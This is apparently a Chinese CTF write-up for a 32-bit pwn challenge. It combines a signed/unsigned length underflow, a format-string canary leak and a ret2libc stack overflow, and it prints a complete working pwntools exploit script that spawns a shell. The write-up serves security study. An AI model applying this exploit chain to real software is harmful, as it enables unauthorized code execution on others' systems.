idea-pwn

拿到题目除了给了ELF以外,还给出了一个libc文件,所以我拿到手的第一直觉就是ret2libc.还是检查一下的保护。

开启了canary和NX,接着把它丢进ida里,看一下函数逻辑

主函数里只有一个vuln函数,我们跟进发现先是由一个get_n()来限制我们读入字符的长度,如果长度没有超过32我们就会进入到gift函数里,继续跟进gift函数

我们首先会生成一个canary把它赋值给v2,然后会读入6个字符,后面紧接着一个printf函数,看到这里可以很明显发现这里会有一个格式化字符串的漏洞。既然我已经判断题目是ret2libc,那我肯定是需要借助漏洞来找到libc的基地址,我此时就想,那我可不可以利用格式化字符串的漏洞找出已经执行过的函数的真实地址,进而找出libc的基地址呢?

但是就算我成功了,我找到了system函数和/bin/sh的真实地址,我也需要通过栈溢出的手段把它们写入栈上才获取shell。所以我肯定是需要找到可以进行栈溢出的地方才能接着做下去,并且因为该程序是开启了canary保护的,我肯定还是要想办法进行绕过才可以。

此时的gift函数是不足以支撑我们进行栈溢出操作的,并且在左侧函数栏也没有发现其他可以利用的函数。

所以我再次回到vuln函数,还是刚刚的get_n,通过下方的if语句,它只是限制了v1不能超过32,但是如果我输入-1呢?对啊v1是一个无符号整数,我如果输入-1的话,它会直接实现下溢。由-1变成0xffffffff。这样我就可以实现向栈中输入超长的数据,进而篡改返回地址,实现ret2libc。但是其实还有一个问题,它开启了canary保护,我需要对canary进行绕过。对啊对啊格式化字符串漏洞是可以泄露出canary的值的。所以现在思路明确了,我需要输入-1绕过get_n,并通过格式化字符串漏洞找出canary的值,进而实现返回地址的覆盖获取shell.

先找偏移,经过反复尝试,我们输入的数据相对于栈的偏移是5

 

通过gdb调试,可以发现eax寄存器中存着canary的值,且这个值位于我们输入数据的下两行

所以可以利用%7$p,继续步过到getchar,看一下canary和我们输入数据的偏移

0x4c-0x2c=0x20,这是我们输入数据距离canary的值,0x58-0x4c=0xc,这是canary距离栈顶的值。可以直接写出第一段payload了。

from pwn import *
context.log_level='debug'
e = ELF('./idea')
libc = ELF('libc-2.23.so')
p = process('./idea')
puts_got = e.got['puts']
puts_plt = e.plt['puts']
start_addr = 0x804870d
p.recv()
pay = b'-1'
p.sendline(pay)
p.recvuntil(b'gift!\n')
pay = b'%7$p'
p.sendline(pay)
canary = int(p.recv()[2:10],16)
print('canary:',hex(canary))
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc + p32(puts_plt) + p32(start_addr) + p32(puts_got)
p.sendline(payload)

此时可以直接获取puts函数的真实地址,剩下的就是ret2libc,计算libc的基地址,找到system和/bin/sh的地址,获取shell

p.recvuntil(b'aaaa\n')
addr = u32(p.recv(4))
print('puts:',hex(addr))
libc_base = addr - libc.sym['puts']
print('libc_base:',hex(libc_base))
system = libc_base + libc.sym['system']
print('system:',hex(system))
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc + p32(system) + p32(0) + p32(binsh)
p.sendline(b'-1')
p.sendline(b'111111')
p.sendline(payload)

p.interactive()

换了libc之后成功打通啦

记录一下利用pwnchelf换libc

patchelf —set-interpreter ld路径 —set-rpath ld的上一级路径 文件名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值